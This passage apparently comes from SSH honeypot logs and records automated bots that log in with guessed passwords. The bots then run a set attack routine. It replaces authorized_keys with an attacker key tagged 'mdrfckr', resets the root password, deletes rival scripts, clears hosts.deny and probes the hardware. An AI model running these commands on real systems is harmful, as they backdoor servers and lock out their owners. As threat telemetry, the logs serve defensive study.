LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:59:53.828426+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:59:54.495955+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:59:54.823392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:59:55.579186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:59:55.906100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:59:56.547692+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:56 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:59:56.874302+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:59:57.445457+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:59:57.773543+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:59:58.080366+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:59:58.407938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:59:59.235696+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:59:59.563415+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:00.656796+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:00.984689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:02.436710+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"391361d1-85c4-4163-a3bc-009c9a036642","name":"craggy-burly-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":39936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1116,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:59:43.655151+00:00","ended_at":"2026-08-27T12:59:44.427483+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2332,"events":[{"seq":1,"at":"2026-08-27T12:59:16.286393+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:16.808232+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T12:59:17.923538+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T12:59:25.371863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T12:59:25.372539+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T12:59:26.245471+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2t5SttjavhId\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T12:59:26.800590+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T12:59:27.433898+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T12:59:28.666348+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T12:59:28.666902+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:59:29.814254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:59:30.340765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:31.567108+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:59:32.151735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:59:33.303656+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:59:33.304150+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:59:34.453939+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:59:34.455300+00:00","kind":"output","latency_ms":null,"data":" 12:59:34 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:59:35.532806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:59:35.533330+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:59:36.408414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:59:36.408864+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:59:37.285297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:59:37.285925+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:37 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:59:38.508467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:59:38.509070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:59:39.392379+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:59:39.393126+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:59:40.845143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:59:40.847098+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T12:59:41.715137+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:59:42.436503+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:59:43.655959+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:59:44.147776+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5454","method":"password","accepted":true,"tier":"other"}]} {"id":"fa311760-9d13-49dd-9e08-b5906e2ba25d","name":"balmy-scarlet-koala","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":458,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:39.450022+00:00","ended_at":"2026-08-27T12:58:40.512283+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:58:20.654392+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:58:21.107809+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:25.078107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:25.391524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:25.848425+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lQTKjzyacDK3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:26.311664+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:26.763715+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:27.198573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:27.656721+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:28.539110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:28.998568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:30.069107+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:30.526677+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:31.253745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:31.708696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:31.997214+00:00","kind":"output","latency_ms":null,"data":" 12:58:31 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:32.452798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:32.763957+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:33.219214+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:33.814139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:34.267178+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:34.581546+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:34 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:35.040397+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:35.895954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:36.362884+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:36.644505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:37.103788+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:37.430204+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:37.899082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:38.995155+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:39.451049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:40.372655+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"IdcOffer.com","method":"password","accepted":true,"tier":"other"}]} {"id":"b81903e5-027f-4f03-b5d6-2907a4608d6e","name":"brazen-prairie-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34350,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:17.091596+00:00","ended_at":"2026-08-27T12:58:18.000857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:57:58.301697+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:58.596274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:01.678710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:02.466887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:02.762453+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9VcJAHDFJy3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:03.057422+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:03.352081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:03.710719+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:04.007236+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:05.418493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:05.713561+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:06.960750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:07.261086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:07.815337+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:08.113954+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:08.968948+00:00","kind":"output","latency_ms":null,"data":" 12:58:08 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:09.264913+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:10.112108+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:10.407343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:11.210507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:11.509597+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:11.919918+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:11 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:12.216114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:13.046443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:13.343721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:13.856225+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:14.151376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:14.502188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:14.798901+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:16.795706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:17.092544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:17.916172+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"f5766448-702a-4f7c-9da4-fc116ddb10dc","name":"deft-civil-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":56116,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:57:58.327929+00:00","ended_at":"2026-08-27T12:57:59.404784+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T12:57:41.018908+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:41.347206+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:57:44.555573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:57:45.286247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:57:45.611327+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:57:45.938800+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:57:46.266030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:57:46.633552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:57:46.960389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:57:48.011951+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:57:48.344527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:57:49.646606+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:57:49.977095+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:57:50.678277+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:57:51.006145+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:57:51.742200+00:00","kind":"output","latency_ms":null,"data":" 12:57:51 up 7 days, 9:47, 0 user, load average: 0.14, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:57:52.069187+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:57:52.332775+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:57:52.659296+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:57:53.133155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:57:53.461299+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:57:53.785593+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:53 up 7 days, 9:48, 0 user, load average: 0.14, 0.14, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:57:54.113612+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:57:54.665647+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:57:54.994201+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:57:55.248545+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 